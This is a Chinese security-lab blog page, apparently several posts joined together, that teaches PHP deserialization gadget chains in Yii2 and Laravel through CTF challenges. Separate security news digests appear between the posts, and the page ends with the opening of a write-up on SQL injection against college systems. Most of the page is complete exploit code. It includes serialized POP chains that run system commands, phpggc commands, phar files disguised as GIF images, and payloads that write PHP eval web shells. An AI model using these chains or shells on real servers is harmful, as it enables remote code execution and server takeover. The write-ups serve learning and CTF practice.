通过几道CTF题学习yii2框架
简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进$this->reset();
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method为close,$attributes为空,继续跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空
到这里可以执行phpinfo了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}
但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)
这里直接构造即可
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace yii\web{
class DbSession{
public $writeCallback;
public function __construct($writeCallback) {
$this->writeCallback = $writeCallback;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new yii\web\DbSession(array($c, 'run'));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
这里继续跟进stopProcess
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
这里$nsKey可控,跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{
return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct($path,$keys) {
$this->path = $path;
$this->keys = $keys;
}
}
}
namespace Codeception\Util{
class XmlBuilder{
protected $__dom__;
public function __construct($__dom__) {
$this->__dom__ = $__dom__;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('saveXML'=>array($c,'run')));
$a = new Codeception\Util\XmlBuilder($b);
$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链,-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval,所以这里可以直接写shell,-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压,看到html\controllers\SiteController.php
class SiteController extends Controller
{
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/mod 绕 disable,运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看到附件的SiteController.php就改了这个地方
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": {
"php": ">=5.6.0",
"yiisoft/yii2": "~2.0.14",
"yiisoft/yii2-bootstrap": "~2.0.0",
"yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=0
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
网络安全日报 2021年06月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的恶意活动攻击Kubeflow用于挖矿
https://www.securityweek.com/kubeflow-deployments-targeted-new-crypto-mining-campaign
2、英特尔本周发布多个产品的73个漏洞补丁
https://www.securityweek.com/intel-releases-29-advisories-describe-73-vulnerabilities-affecting-its-products
3、西门子和施耐德电气告知客户影响其产品的数十个漏洞
https://www.securityweek.com/siemens-schneider-electric-inform-customers-about-tens-vulnerabilities
4、在发出警告5年后,思科智能安装协议仍在攻击中被滥用
https://www.securityweek.com/cisco-smart-install-protocol-still-abused-attacks-5-years-after-first-warning
5、西班牙劳动和社会经济部遭网络攻击
https://securityaffairs.co/wordpress/118768/hacking/spains-ministry-of-labor-cyberattack.html
6、新型 TLS 攻击可以对安全站点发起跨域和跨协议攻击
https://thehackernews.com/2021/06/new-tls-attack-lets-attackers-launch.html
7、内存和存储制造商威刚遭到 Ragnar Locker 勒索软件攻击
https://www.techradar.com/news/adata-struck-by-ragnar-locker-ransomware-attack
8、研究人员发现Linktree被滥用以发送钓鱼链接
https://cofense.com/blog/linktree-phishing-links/
9、Joomla CMS中的两个漏洞可导致系统被入侵
https://portswigger.net/daily-swig/dual-vulnerability-combo-in-popular-cms-joomla-could-lead-to-full-system-compromise
10、WAGO控制器漏洞可被黑客利用破坏工业流程
https://www.securityweek.com/wago-controller-flaws-can-allow-hackers-disrupt-industrial-processes
网络安全日报 2021年06月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、SAP 修补了 NetWeaver 中的关键漏洞
https://www.securityweek.com/sap-patches-critical-vulnerabilities-netweaver2、微软对新的 Windows 零日攻击发出警报
https://www.securityweek.com/microsoft-raises-alarm-new-windows-zero-day-attacks3、Adobe 修补 PDF Reader 和 Photoshop 中的高危漏洞
https://www.securityweek.com/adobe-patches-major-security-flaws-pdf-reader-photoshop4、RabbitMQ等流行的开源消息代理存在 DoS漏洞
https://www.securityweek.com/organizations-warned-about-dos-flaws-popular-open-source-message-brokers5、 CISA 发布漏洞披露平台允许道德黑客向联邦机构报告安全漏洞
https://www.securityweek.com/cisa-announces-vulnerability-disclosure-policy-platform6、 Google发布Android 6月更新修补了多个严重漏洞
https://www.securityweek.com/critical-vulnerabilities-patched-android-june-2021-security-updates7、Fastly CDN 故障影响了Reddit、GitHub、Paypal等多个网站访问
https://securityaffairs.co/wordpress/118732/breaking-news/fastly-cdn-outage.html8、Trojan Shield行动:警方运行加密通信平台抓捕犯罪团伙
https://securityaffairs.co/wordpress/118706/cyber-crime/trojan-shield-op.html9、专家在 Microsoft Office 套件中发现了四个高危漏洞
https://securityaffairs.co/wordpress/118741/breaking-news/microsoft-office-component-flaws.html10、Hyperkitty中的安全漏洞可能会暴露私人数据
https://portswigger.net/daily-swig/security-vulnerability-in-hyperkitty-could-expose-private-data
通过几道CTF题学习Laravel框架
Laravel5.8.x反序列化POP链
安装:其中--prefer-dist表示优先下载zip压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public目录起一个php服务就可以进行测试了
cd /public
php -S 0.0.0.0:port
/foo?c=
链一
链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口
满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload
rce
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了
$definition变量是MockDefinition类,跟进一下
class MockDefinition
{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下
laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}
payload如下
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
链二
入口同样是
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控
跟踪进callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
$callback和$parameters可控,于是就可以构造payload了
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
Laravel8反序列化POP链
在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类
laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控
同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法
要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了
看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}
这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}
因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目
lumenserial
lumenserial\routes\web.php先看到路由文件
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
再看到
lumenserial\app\Http\Controllers\EditorController.php
class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);
发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量
class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
我们看到main发现他是通过call_user_func来调用带do开头的方法
class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
可以通过如下控制变量
http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif
然后在上面的5.8链的基础加上如下
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
上传phar文件再用phar协议打即可
[HMBCTF 2021]EzLight
给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);
在catchImage函数里面以post传给file参数再给到fetchImageFile的$url
protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数
至此结束,这里可以phar反序列化了
用上面的链一即可
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename('test.phar','test.jpg');
}
上传之后,在vps上放
phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
再到/admin/neditor/serve/catchImage用file传参打就可以了
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
网络安全日报 2021年06月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美司法部已收回Colonial Pipeline支付的大部分赎金
https://www.securityweek.com/us-has-recovered-ransom-payment-made-after-pipeline-hack
2、“Siloscape”恶意软件以 Windows Server 容器为目标
https://www.securityweek.com/siloscape-malware-targets-windows-server-containers
3、军用车辆制造商 Navistar 报告其遭网络攻击数据被盗
https://www.securityweek.com/military-vehicles-maker-navistar-reports-data-theft-cyberattack
4、RockYou2021:有史以来最大的密码集合在线泄露,共84亿条
https://securityaffairs.co/wordpress/118696/data-breach/rockyou2021-largest-password-compilation-of-all-time-leaked-online-with-8-4-billion-entries.html
5、乌克兰称俄罗斯黑客对其进行大规模鱼叉式钓鱼活动
https://securityaffairs.co/wordpress/118675/apt/ukraine-hit-russia-spear-phishing.html
6、安全研究人员在 QNAP Q'center 中发现 RCE 漏洞
https://securityaffairs.co/wordpress/118668/hacking/qnap-qcenter-rce.html
7、GitHub 更新策略以删除在主动攻击中使用的漏洞利用代码
https://thehackernews.com/2021/06/github-updates-policy-to-remove-exploit.html
8、开源学校管理软件Fedena中发现严重零日漏洞
https://portswigger.net/daily-swig/critical-zero-day-vulnerabilities-found-in-unsupported-fedena-school-management-software
9、新的网络钓鱼活动劫持比特币地址并分发Agent Tesla
https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant
10、英国Furniture Village家具零售商遭到网络攻击
https://www.theregister.com/2021/06/04/furniture_village_confirms_cyberattack/
某学院系统sql注入到服务器沦陷(bypss)
前言
前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量。只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一步步深入最后服务器提权,拿下整台服务器桌面权限。
本文涉及相关实操:https://www.hetianlab.co/expc.do?ec=ECIDee9320adea6e062017112114390500001 本实验介绍了SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。
1.信息搜集
日常广撒网挖通杀,常规流程,上fofa搜索关键字,xx大学xx系统,xx大学xx平台,一般就是这几个关键词,或者是直接搜body=”xx公司”,xx公司一定要是经常给学校做开发的,往往都是好几所学校用同一家公司的产品。然后就找到了这样一个系统
查了下归属,归属是某某学院,教育资产,通过各种语法,信息搜集,找到大概十多所学校都在用这个系统,因为语法太多了,这里随便搜了搜。
2.四处碰壁
正常的黑盒测试流程,看一下啥语言写的,ASP+IIS,很常规的配置,edu一般除了jsp就是asp了,很少见到php站,iis的站,若后续有文件上传的点,可以测测iis解析漏洞,老版本的iis洞还是挺多的。
既然是asp的站,那就上御剑,先来一顿目录爆破,asp、aspx勾选上,80w的大字典开跑,
一杯茶的功夫,目录爆破完毕,果不其然,啥也没跑出来。
一般这种情况的话,可以换一换要跑目录,因为它整个系统可能架设在一个特定命名的目录下,这里因为时间关系,就没跑了。
